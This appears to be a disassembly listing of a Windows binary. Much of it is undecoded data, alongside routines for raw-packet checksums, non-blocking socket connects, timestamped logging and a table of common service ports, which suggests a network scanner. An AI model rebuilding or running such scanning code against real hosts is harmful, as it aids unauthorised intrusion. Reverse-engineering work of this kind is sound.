dd 0AC5589F9h, 7B69E8h, 0A4B99900h, 0C600001Fh, 0F745DC45h
dd 0DD45C6F9h, 0D4558904h, 7B51E8h, 45896600h, 7B48E8E0h
dd 0A6A0000h, 0F9F75999h, 95448B66h, 15FF50B0h, 4CB654h
dd 45896656h, 5415FFE2h, 66004CB6h, 88DE4589h, 1FE8E45Dh
dd 6A00007Bh, 0F759990Eh, 8A146AF9h, 0FF789584h, 4588FFFFh
dd 0F4458BE5h, 8BE84589h, 45890845h, 0DC458DECh, 6E7FE850h
dd 8966FFFFh, 458DE645h, 50146ADCh, 0E8F875FFh, 8514h
dd 8D14C483h, 0FFFF6885h, 50106AFFh, 0FF56006Ah, 75FFF875h
dd 0B815FFFCh, 0E9004CB6h, 0FFFFFF1Ah, 0E8F875FFh, 728Dh
dd 0FC75FF59h, 0B6EC15FFh, 16A004Ch, 5B5E5F58h
; ---------------------------------------------------------------------------
leave
retn
; ---------------------------------------------------------------------------
word_413E36 dw 8B55h ; DATA XREF: sub_401ACD+53E9o
dd 40EC81ECh, 8B000004h, 56530845h, 8B686A57h, 0BD8D59F0h
dd 0FFFFFDC0h, 16AA5F3h, 8D5EDB33h, 0FFFF61BDh, 890E6AFFh
dd 19CB0h, 0C0335900h, 0FF609D88h, 0ABF3FFFFh, 8BAAAB66h
dd 4270A83Dh, 50D7FF00h, 7A57E8h, 0FF685900h, 6A000000h
dd 0FF026A03h, 4CB6D415h, 0FFF88300h, 75FC4589h, 0E815FF66h
dd 50004CB5h, 0FBC0858Dh, 7468FFFFh, 50004365h, 79D5E8h
dd 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh
dd 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh
dd 0FFFF5B97h, 8D14C483h, 0FFFBC085h, 0C2E850FFh, 0FF000012h
dd 0FFFF44B5h, 751DE8FFh, 5959FFFFh, 0C102E853h, 8D90022Ch
dd 46ACC4Dh, 53026A51h, 0CC758950h, 0B63415FFh, 0F883004Ch
dd 0FF6675FFh, 4CB5E815h, 858D5000h, 0FFFFFBC0h, 43653C68h
dd 57E85000h, 83000079h, 9D390CC4h, 0FFFFFF58h, 8D532375h
dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh
dd 0FFFDC0B5h, 5B19E8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh
dd 1244E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF749Fh, 90535959h
dd 2CC083E8h, 0C4858D02h, 50FFFFFDh, 0B69415FFh, 0F883004Ch
dd 8D5E75FFh, 0FFFBC085h, 651C68FFh, 0E8500043h, 78E6h
dd 0FF589D39h, 5959FFFFh, 8D532375h, 0FFFBC085h, 54B5FFFFh
dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 5AA9E8FFh
dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 11D4E8h, 44B5FF00h
dd 0E8FFFFFFh, 0FFFF742Fh, 90535959h, 2CC013E8h, 8D106A02h
dd 5053BC45h, 7597E8h, 0CC48300h, 0BC45C766h, 0FF530002h
dd 4CB65415h, 45896600h, 0C4858DBEh, 50FFFFFDh, 0B69415FFh
dd 4589004Ch, 85D89C0h, 4589D7FFh, 2BD7FFD0h, 0D233D045h
dd 3E8B9h, 3BF1F700h, 0FFFF4C85h, 0AA870FFFh, 6A000002h
dd 0D445C628h, 5415FF45h, 39004CB6h, 0FFFF509Dh, 458966FFh
dd 758966D6h, 5D8966D8h, 0DC45C6DAh, 0DD45C680h, 5D896606h
dd 0E82D74DEh, 7872h, 0E6C1F08Bh, 7868E808h, 0F0030000h
dd 0E808E6C1h, 785Eh, 0E6C1F003h, 7854E808h, 0F0030000h
dd 7589016Ah, 16EB5EE0h, 0FDC0B5FFh, 6DE8FFFFh, 59FFFF6Bh
dd 9415FF50h, 89004CB6h, 458BE045h, 489D39C0h, 89FFFFFFh
dd 1075E445h, 7821E8h, 1B99900h, 0F7000004h, 6EB52F9h
dd 0FF48B5FFh, 15FFFFFFh, 4CB654h, 0EA458966h, 7801E8h
dd 1B99900h, 0F7000004h, 15FF52F9h, 4CB654h, 34567868h
dd 45896612h, 5015FFE8h, 89004CB6h, 858DEC45h, 0FFFFFE44h
dd 42B28868h, 0EDE85000h, 59000077h, 7459C085h, 0F05D8909h
dd 2F545C6h, 858D5CEBh, 0FFFFFE44h, 42B0C068h, 0CDE85000h
dd 59000077h, 7459C085h, 0F05D8909h, 10F545C6h, 858D3CEBh
dd 0FFFFFE44h, 42B0B868h, 0ADE85000h, 59000077h, 7459C085h
dd 7784E825h, 36A0000h, 0F9F75999h, 0E8F05589h, 7776h
dd 5999026Ah, 0DAF7F9F7h, 0E280D21Ah, 88D1020Eh, 68F555h
dd 0C6000002h, 0FF50F445h, 4CB65415h, 45896600h, 0E0458BF6h
dd 8B9C4589h, 146AE445h, 0FA5D8966h, 0F85D8966h, 88A04589h
dd 45C6A45Dh, 15FF06A5h, 4CB654h, 0A6458966h, 6A9C458Dh
dd 858D5020h, 0FFFFFF60h, 8146E850h, 458D0000h, 50146AE8h
dd 5080458Dh, 8137E8h, 60858D00h, 6AFFFFFFh, 82E85034h
dd 66FFFF6Ah, 8DF84589h, 146AD445h, 60858D50h, 50FFFFFFh
dd 8113E8h, 0E8458D00h, 8D50146Ah, 0FFFF7485h, 1E850FFh
dd 6A000081h, 88458D04h, 75E85053h, 83000073h, 858D44C4h
dd 0FFFFFF60h, 0E850286Ah, 0FFFF6A3Dh, 0DE458966h, 6AD4458Dh
dd 858D5014h, 0FFFFFF60h, 80CEE850h, 0C4830000h, 0BC458D14h
dd 5350106Ah, 0FF60858Dh, 3C6AFFFFh, 0FC75FF50h, 0B6B815FFh
dd 0F883004Ch, 0FF0874FFh, 0BAE90845h, 0FFFFFFFDh, 15FFFC75h
dd 4CB6ECh, 0B5E815FFh, 8D50004Ch, 0FFFDC485h, 875FFFFh
dd 64CC6850h, 858D0043h, 0FFFFFBC0h, 20068h, 0E5E85000h
dd 83000076h, 9D3918C4h, 0FFFFFF58h, 8D532375h, 0FFFBC085h
dd 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h
dd 57ADE8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 0ED8E8h
dd 44B5FF00h, 0E8FFFFFFh, 0FFFF7133h, 90535959h, 2CBD17E8h
dd 0FC75FF02h, 0B6EC15FFh, 458B004Ch, 6BD23308h, 0C88B3CC0h
dd 0F70AE8C1h, 0FFFF4CB5h, 14E9C1FFh, 858D5051h, 0FFFFFDC4h
dd 500875FFh, 0FE44858Dh, 8D50FFFFh, 0FFFBC085h, 647C68FFh
dd 0E8500043h, 755Ah, 391CC483h, 0FFFF589Dh, 532375FFh
dd 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h, 50FFFFFEh
dd 0FDC0B5FFh, 1CE8FFFFh, 83FFFF57h, 858D14C4h, 0FFFFFBC0h
dd 0E47E850h, 0B5FF0000h, 0FFFFFF44h, 0FF70A2E8h, 535959FFh
dd 0BC86E890h
; ---------------------------------------------------------------------------
sub al, 2
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+0Ch], esi
jle short loc_4143A6
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_414398: ; CODE XREF: ___:004143A0j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_414398
pop edi
cmp eax, 1
loc_4143A6: ; CODE XREF: ___:0041438Cj
jnz short loc_4143B3
mov al, [edx]
mov [ebp+0Ch], al
movzx eax, word ptr [ebp+0Ch]
add esi, eax
loc_4143B3: ; CODE XREF: ___:loc_4143A6j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
; ---------------------------------------------------------------------------
dword_4143CC dd 81EC8B55h, 394ECh, 8458B00h, 656A5756h, 8DF08B59h, 0FFFE6CBDh
; DATA XREF: sub_401ACD+6D4Ao
dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 737CE8h
dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 6CB58D50h
dd 81FFFFFEh, 194ECh, 59656A00h, 0A5F3FC8Bh, 5FE8h, 9CC48100h
dd 50000001h, 0FC6C858Dh, 0A868FFFFh, 50004365h, 7449E8h
dd 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh, 75FFFFFFh
dd 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh, 0FFFF560Fh
dd 8D14C483h, 0FFFC6C85h, 3AE850FFh, 0FF00000Dh, 98E8F075h
dd 59FFFF6Fh, 0E8905659h, 22CBB7Ch, 81EC8B55h, 0CCECh
dd 8B565300h, 4270A835h, 57DB3300h, 0FFFC5D89h, 0FF68D6h
dd 36A0000h, 4589026Ah, 0D415FFF0h, 89004CB6h, 0D6FFF845h
dd 741EE850h, 0BF590000h, 578h, 6A096A57h, 41BBE801h, 59590000h
dd 0D8458D50h, 70BAE850h, 0C4830000h, 5A0BE0Ch, 0E8900000h
dd 227C5C1h, 33F0452Bh, 3E8B9D2h, 0F1F70000h, 1A0853Bh
dd 870F0000h, 1C2h, 0EE081D39h, 5975004Ch, 8958106Ah, 8D50EC45h
dd 50539845h, 707BE8h, 0CC48300h, 50EC458Dh, 5098458Dh
dd 0FF0875FFh, 4CB5F815h, 0FF6800h, 16A0000h, 4150E8h
dd 50595900h, 9E45B60Fh, 45B60F50h, 0B60F509Dh, 8D509C45h
dd 0FFFF3485h, 0DC6868FFh, 0E8500042h, 732Eh, 0EB18C483h
dd 34858D13h, 68FFFFFFh, 4CE7E8h, 7942E850h, 59590000h
dd 0FF34858Dh, 0FF50FFFFh, 4CB69415h, 0F4458900h, 24A8458Bh
dd 450C5645h, 10AC45C6h, 0FFA84589h, 4CB65415h, 45896600h
dd 7344E8AEh, 89660000h, 458BB045h, 0B84589F4h, 19C858Bh
dd 0C7660000h, 40B245h, 40B445C6h, 6B545C6h, 0B65D8966h
dd 0E8BC4589h, 731Ah, 0C0458966h, 7311E8h, 45896600h, 7308E8C2h
dd 45890000h, 7300E8C4h, 45890000h, 0CC458BC8h, 0FF502566h
dd 500C146Ah, 18CE45C6h, 0CC458966h, 0C2458B66h, 8A458966h
dd 89BC458Bh, 458D8C45h, 0C76650A8h, 787DD045h, 0D25D8966h
dd 0D45D8966h, 8845C766h, 57E80002h, 66FFFFFDh, 8DB64589h
dd 286AA845h, 0FD48E850h, 458BFFFFh, 10C483B8h, 0FF548589h
dd 458BFFFFh, 58C68BCh, 85890000h, 0FFFFFF58h, 0FF5C9D88h
dd 85C6FFFFh, 0FFFFFF5Dh, 0E7E89006h, 667169D0h, 0FF5E8589h
dd 858DFFFFh, 0FFFFFF60h, 8D50146Ah, 0E850C045h, 7C98h
dd 0FF74858Dh, 5057FFFFh, 50D8458Dh, 7C87E8h, 54858D00h
dd 68FFFFFFh, 598h, 0FCE0E850h, 0C483FFFFh, 45896620h
dd 8D106AD2h, 53508845h, 56A8458Dh, 0F875FF50h, 0B6B815FFh
dd 45FF004Ch, 0FE20E9FCh, 75FFFFFFh, 0EC15FFF8h, 8B004CB6h
dd 5E5FFC45h
; ---------------------------------------------------------------------------
pop ebx
leave
retn
; ---------------------------------------------------------------------------
byte_4146CF db 55h ; DATA XREF: sub_401ACD+4CC0o
dd 0EC81EC8Bh, 414h, 5608558Bh, 85B8h, 0C88B5700h, 0BD8DF28Bh
dd 0FFFFFDECh, 214EC81h, 0A5F30000h, 0B58DC88Bh, 0FFFFFDECh
dd 82C7FC8Bh, 210h, 1, 37E8A5F3h, 81000000h, 214C4h, 858D5000h
dd 0FFFFFBECh, 4365DC68h, 5FE85000h, 8D000071h, 0FFFBEC85h
dd 7AE850FFh, 0FF00000Ah, 0D8E8F075h, 83FFFF6Ch, 6A14C4h
dd 0B8BAE890h, 8B55022Ch, 54EC81ECh, 53000002h, 0FFBB56h
dd 53570000h, 26A036Ah, 0B6D415FFh, 0F883004Ch, 0F44589FFh
dd 858D1A75h, 0FFFFFDACh, 4367CC68h, 0BE85000h, 59000071h
dd 0E959FF33h, 2C9h, 6AEC4D8Dh, 0FF335104h, 5057026Ah
dd 1EC45C7h, 0FF000000h, 4CB63415h, 0FFF88300h, 15FF0E75h
dd 4CB5E8h, 677C6850h, 1BEB0043h, 500C458Dh, 0B69415FFh
dd 0F883004Ch, 0FF2075FFh, 4CB5E815h, 38685000h, 8D004367h
dd 0FFFDAC85h, 0AFE850FFh, 83000070h, 6EE90CC4h, 57000002h
dd 0DC45C766h, 15FF0002h, 4CB654h, 0DE458966h, 500C458Dh
dd 0CAFEE890h, 358B7169h, 4270A8h, 0FFE04589h, 0F84589D6h
dd 500C458Dh, 0FDAC858Dh, 0C68FFFFh, 50004367h, 7069E8h
dd 0CC48300h, 214BD39h, 20750000h, 0AC858D57h, 0FFFFFFFDh
dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF522EE8h, 14C483FFh
dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h
dd 10C85h, 12E85000h, 3B00006Fh, 870F59F0h, 193h, 41CBEh
dd 0BB05EB00h, 0FFh, 0EE083D39h, 5275004Ch, 8958106Ah
dd 8D50F045h, 5057CC45h, 6CFBE8h, 0CC48300h, 50F0458Dh
dd 50CC458Dh, 0FF0875FFh, 4CB5F815h, 16A5300h, 3DD4E8h
dd 50595900h, 0D245B60Fh, 45B60F50h, 0B60F50D1h, 8D50D045h
dd 6868AC45h, 500042DCh, 6FB5E8h, 18C48300h, 458D10EBh
dd 0E7E868ACh, 0E850004Ch, 75CCh, 0C6565959h, 4CE9E805h
dd 15FF4500h, 4CB654h, 0E9EAA366h, 458D004Ch, 0C76650ACh
dd 4CE9EC05h, 66000100h, 0E9EE3D89h, 5C6004Ch, 4CE9F0h
dd 0F105C680h, 11004CE9h, 0F23D8966h, 0FF004CE9h, 4CB69415h
dd 0E9F4A300h, 458B004Ch, 0E9F8A3E0h, 858D004Ch, 8Ch, 3D896650h
dd 4CEA02h, 6E30E8h, 59C08500h, 8FE81075h, 9900006Fh, 401B9h
dd 52F9F700h, 858D0EEBh, 8Ch, 6E0FE850h, 50590000h, 0B65415FFh
dd 0A366004Ch, 4CE9FEh, 6F65E8h, 1B99900h, 68000004h, 408h
dd 8966F9F7h, 4CE9FC15h, 5415FF00h, 68004CB6h, 400h, 0EA00A366h
dd 3BE8004Ch, 9900006Fh, 6852FBF7h, 4CEA04h, 6BDBE8h, 0CC48300h
dd 6ADC458Dh, 56575010h, 4CE9E868h, 0F475FF00h, 0B6B815FFh
dd 0F883004Ch, 0A5840FFFh, 0FF000000h, 0E890FC45h, 227C0C5h
dd 33F8452Bh, 3E8B9D2h, 0F1F70000h, 858DD88Bh, 10Ch, 6D7FE850h
dd 0D83B0000h, 74860F59h, 0FFFFFFFEh, 15FFF475h, 4CB6ECh
dd 8DFC758Bh, 10C85h, 0F6695000h, 41Ch, 6D58E8h, 0D2335900h
dd 0C68BC88Bh, 0F70AE8C1h, 14EEC1F1h, 75FF5650h, 0C458DFCh
dd 66A86850h, 858D0043h, 0FFFFFDACh, 6E3CE850h, 0C4830000h
dd 14BD3918h, 75000002h, 858D5720h, 0FFFFFDACh, 210B5FFh
dd 8D500000h, 18C85h, 75FF5000h, 5001E808h, 0C483FFFFh
dd 335E5F14h, 0C3C95BC0h, 56FC75FFh, 0B5E815FFh, 8D50004Ch
dd 68500C45h, 43661Ch
db 0EBh, 0ACh
word_414A92 dw 8B55h ; DATA XREF: sub_401ACD+6362o
dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 6CB4E8h
dd 8D505900h, 0FFFE7085h, 0A6E850FFh, 5900006Ch, 0F0858D50h
dd 50FFFFFDh, 0B69415FFh, 0E850004Ch, 147h, 500CC483h
dd 0FBEC858Dh, 0F868FFFFh, 50004367h, 6D89E8h, 83F63300h
dd 75390CC4h, 562075F8h, 0FBEC858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF4F4Fh, 8D14C483h
dd 0FFFBEC85h, 7AE850FFh, 0FF000006h, 0D8E8F075h, 59FFFF68h
dd 0E8905659h, 22CB4BCh
; ---------------------------------------------------------------------------
pop edi
pop esi
push ebp
mov ebp, esp
sub esp, 210h
and dword ptr [ebp-4], 0
cmp dword ptr [ebp+14h], 0
push esi
push edi
jnz short loc_414B6F
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
nop
call near ptr 71AB3E5Dh
jmp loc_414C2B
; ---------------------------------------------------------------------------
loc_414B6F: ; CODE XREF: ___:00414B59j
mov esi, [ebp+8]
push 1
pop edi
lea eax, [ebp-8]
push eax
push 8004667Eh
push esi
mov [ebp-8], edi
nop
call near ptr 71AB155Ah
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push esi
call dword_4CB5FC
push dword ptr [ebp+14h]
lea eax, [ebp-210h]
mov [ebp-108h], esi
mov [ebp-10Ch], edi
push 0
push eax
lea eax, [ebp-10Ch]
mov [ebp-20Ch], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp-210h], edi
call dword_4CB63C
test eax, eax
jnz short loc_414BD3
or eax, 0FFFFFFFFh
jmp short loc_414C2B
; ---------------------------------------------------------------------------
loc_414BD3: ; CODE XREF: ___:00414BCCj
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_414BDE
loc_414BDA: ; CODE XREF: ___:00414BFEj
; ___:00414C22j
mov eax, edi
jmp short loc_414C2B
; ---------------------------------------------------------------------------
loc_414BDE: ; CODE XREF: ___:00414BD8j
lea eax, [ebp-10Ch]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_414C00
lea eax, [ebp-210h]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_414BDA
loc_414C00: ; CODE XREF: ___:00414BEDj
lea eax, [ebp+8]
mov dword ptr [ebp+8], 4
push eax
lea eax, [ebp-4]
push eax
push 1007h
push 0FFFFh
push esi
nop
call near ptr 71AB4122h
cmp eax, edi
jz short loc_414BDA
mov eax, [ebp-4]
neg eax
sbb eax, eax
loc_414C2B: ; CODE XREF: ___:00414B6Aj
; ___:00414BD1j ...
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
db 55h
dd 0EC81EC8Bh, 10Ch, 6A575653h, 0DB335801h, 68535350h
dd 0FFh, 26A036Ah, 90EC4589h, 6A0DACE8h, 0EC4D8D71h, 6A51046Ah
dd 0A3505302h, 4CEE78h, 0B63415FFh, 358B004Ch, 4270A8h
dd 0E850D6FFh, 6C60h, 6AC03359h, 0BD8D19h, 59FFFFFFh, 0FEF49D89h
dd 4D89FFFFh, 0F89D8984h, 89FFFFFEh, 0FFFEFC9Dh, 7485C7FFh
dd 1FFFFFFh, 0C7000004h, 0FFFF7885h, 15FFh, 7C85C700h
dd 16FFFFFFh, 0C7000000h, 178045h, 45C70000h, 3588h, 8C45C700h
dd 50h, 519045C7h, 0C7000000h, 589445h, 45C70000h, 6E98h
dd 9C45C700h, 71h, 77A045C7h, 0C7000000h, 87A445h, 45C70000h
dd 89A8h, 0AC45C700h, 8Bh, 8FB045C7h, 0C7000000h, 1BBB445h
dd 45C70000h, 1BDB8h, 0BC45C700h, 400h, 99C045C7h, 0C7000005h
dd 5DCC445h, 45C70000h, 6B8C8h, 0CC45C700h, 0CEAh, 3DD045C7h
dd 0C700000Dh, 1388D445h, 45C70000h, 1A0BD8h, 0DC45C700h
dd 1F40h, 90E045C7h, 0F300001Fh, 0F05D89ABh, 3E445C7h
dd 0C7000000h, 0BB8E845h, 5D890000h, 8458BFCh, 6485C766h
dd 2FFFFFFh, 68858900h, 8BFFFFFFh, 0BC8DFC45h, 0FFFF7405h
dd 848B66FFh, 0FFFF7405h, 15FF50FFh, 4CB654h, 6A016A53h
dd 85896602h, 0FFFFFF66h, 0B6D415FFh, 4D8D004Ch, 0F44589E4h
dd 648D8D51h, 6AFFFFFFh, 0E8505110h, 0FFFFFD7Eh, 8910C483h
dd 75FFF845h, 0EC15FFF4h, 39004CB6h, 0C75F85Dh, 8BFC4D8Bh
dd 0D848907h, 0FFFFFEF4h, 4FC4583h, 70FC7D83h, 7CBF837Ch
dd 68004CEEh, 42D124h, 6A84E857h, 59590000h, 4589D6FFh
dd 0F4858DF4h, 89FFFFFEh, 4589FC5Dh, 2BD6FFF8h, 0D233F445h
dd 3E8B9h, 3BF1F700h, 45770C45h, 8BF8458Bh, 74C33B00h
dd 68575015h, 436824h, 0F0458957h, 6A45E8h, 10C48300h
dd 0FF681AEBh, 530000FFh, 3834E8h, 50595900h, 0B65415FFh
dd 0B70F004Ch, 0F04589C0h, 83FC45FFh, 8304F845h, 7C1CFC7Dh
dd 53286AA8h, 4CEE1868h, 6716E800h, 0FFBE0000h, 0C60000FFh
dd 4CEE1805h, 68564500h, 400h, 0EE2105C6h, 0C606004Ch
dd 4CEE1905h, 0E6E80800h, 83000037h, 0FF5014C4h, 4CB65415h
dd 66286A00h, 4CEE1CA3h, 5415FF00h, 80004CB6h, 4CEE200Dh
dd 1D39FF00h, 4CEE08h, 0EE1AA366h, 8966004Ch, 4CEE1E1Dh
dd 681A7500h, 0FFFEh, 0A6E8016Ah, 59000037h, 84D8B59h
dd 2310E0C1h, 0EBC10BCEh, 0E7E8680Bh, 15FF004Ch, 4CB694h
dd 4CEE24A3h, 8458B00h, 400068h, 0EE28A300h, 1D88004Ch
dd 4CEE39h, 0B65415FFh, 5356004Ch, 0EE3AA366h, 62E8004Ch
dd 8B000037h, 0C15356F8h, 56E808E7h, 83000037h, 0F80310C4h
dd 5015FF57h, 0A3004CB6h, 4CEE30h, 4CEE38A0h, 87D8B00h
dd 500C0F24h, 38A2146Ah, 66004CEEh, 89F0458Bh, 4CEE341Dh
dd 1D896600h, 4CEE3Eh, 0EE2EA366h, 3D89004Ch, 4CEE54h
dd 0EE581D88h, 5C6004Ch, 4CEE59h, 5415FF06h, 66004CB6h
dd 4CEE5AA3h, 2EA16600h, 66004CEEh, 0EE4005C7h, 2004Ch
dd 0EE443D89h, 0A366004Ch, 4CEE42h, 0EBFC5D89h, 0FFFFBE05h
dd 5D390000h, 562F75FCh, 36CBE853h, 59590000h, 5415FF50h
dd 66004CB6h, 4CEE2CA3h, 0EE24A100h, 50A3004Ch, 0C6004CEEh
dd 4CEE3905h, 1D890200h, 4CEE34h, 53561FEBh, 0EE3905C6h
dd 0E810004Ch, 3695h, 0FF505959h, 4CB65415h, 0C0B70F00h
dd 4CEE34A3h, 5FF6600h, 4CEE1Ch, 0EE3005FFh, 0A166004Ch
dd 4CEE2Eh, 0BE59056Ah, 4CEE2Ch, 4CEE5CBFh, 1D896600h
dd 4CEE22h, 3C1D8966h, 6A004CEEh, 0BEA5F314h, 4CEE18h
dd 0EE42A366h, 0E856004Ch, 0FFFF5C25h, 5068206Ah, 66004CEEh
dd 4CEE22A3h, 5C13E800h, 0C483FFFFh, 3CA36610h, 6A004CEEh
dd 0EE406810h, 6A53004Ch, 35FF5628h, 4CEE78h, 0B6B815FFh
dd 45FF004Ch, 0FC7D81FCh, 3FFh, 0FF238C0Fh, 0E890FFFFh
dd 227BA19h, 33F4452Bh, 3E8B9D2h, 0F1F70000h, 770C453Bh
dd 1075FF0Eh, 0AF5AE890h, 0C2E90226h, 5FFFFFFDh, 0EE7CB85Eh
dd 0C95B004Ch
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4150B5 proc near ; CODE XREF: sub_401ACD+7200p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43D810
mov edi, 0B8h
loc_4150C9: ; CODE XREF: sub_4150B5+33j
cmp byte ptr [esi], 0
jz short loc_4150EC
push [ebp+arg_0]
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4150EC
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43E390
jl short loc_4150C9
jmp short loc_41512E
; ---------------------------------------------------------------------------
loc_4150EC: ; CODE XREF: sub_4150B5+17j
; sub_4150B5+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43D810[esi]
push ebx
call sub_41B590
push 17h
push [ebp+arg_0]
push ebx
call sub_41B5F0
push 9Fh
lea eax, dword_43D828[esi]
push [ebp+arg_4]
push eax
call sub_41B5F0
add esp, 24h
inc dword_4294D0
pop ebx
loc_41512E: ; CODE XREF: sub_4150B5+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_4150B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415135 proc near ; CODE XREF: sub_401ACD+28DEp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_436840
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
xor edi, edi
mov esi, offset dword_43D810
loc_41515F: ; CODE XREF: sub_415135+72j
cmp byte ptr [esi], 0
jz short loc_41519A
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_43682C
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41B980
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 2Ch
loc_41519A: ; CODE XREF: sub_415135+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43E390
jl short loc_41515F
pop edi
pop esi
leave
retn
sub_415135 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151AD proc near ; CODE XREF: ___:004015A5p
; ___:00401629p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
nop
call near ptr 2770584h
mov ebx, offset dword_4D327C
mov edi, 80h
mov esi, offset dword_4CF27C
loc_4151CF: ; CODE XREF: sub_4151AD+3Dj
cmp byte ptr [ebx], 0
jz short loc_4151E6
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41B5F0
add esp, 0Ch
loc_4151E6: ; CODE XREF: sub_4151AD+25j
sub ebx, edi
cmp ebx, esi
jge short loc_4151CF
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41B980
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_4151AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415221 proc near ; CODE XREF: sub_4017ED+F7p
; sub_401ACD:loc_402077p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41C190
lea eax, [ebp+var_80]
push eax
call sub_4151AD
add esp, 14h
leave
retn
sub_415221 endp
; =============== S U B R O U T I N E =======================================
sub_41524D proc near ; CODE XREF: sub_401ACD+27D5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4CF27C
xor ecx, ecx
loc_415254: ; CODE XREF: sub_41524D+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D327C
jl short loc_415254
cmp [esp+arg_C], ecx
jnz short loc_415282
push ecx
push [esp+4+arg_8]
push offset dword_43688C
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409A73
add esp, 14h
loc_415282: ; CODE XREF: sub_41524D+19j
push offset dword_436878
call sub_4151AD
pop ecx
retn
sub_41524D endp
; ---------------------------------------------------------------------------
word_41528E dw 8B55h ; DATA XREF: sub_401ACD+2888o
dd 1CEC81ECh, 8B000003h, 57560845h, 8B59456Ah, 0E4BD8DF0h
dd 6AFFFFFEh, 33A5F301h, 55395FD2h, 0F845C7F0h, 80h, 89FC5589h
dd 110B8h, 521E7500h, 0FEE8858Dh, 75FFFFFFh, 68BC68ECh
dd 0FF500043h, 0FFFEE4B5h, 4795E8FFh, 0C483FFFFh, 68BD8014h
dd 0FFFFFFh, 858D1774h, 0FFFFFF68h, 6483E850h, 0C0850000h
dd 0FC458959h, 45890374h, 86583F8h, 0F27CBE00h
db 4Ch, 0
; ---------------------------------------------------------------------------
loc_41530A: ; CODE XREF: ___:00415362j
mov eax, [ebp+8]
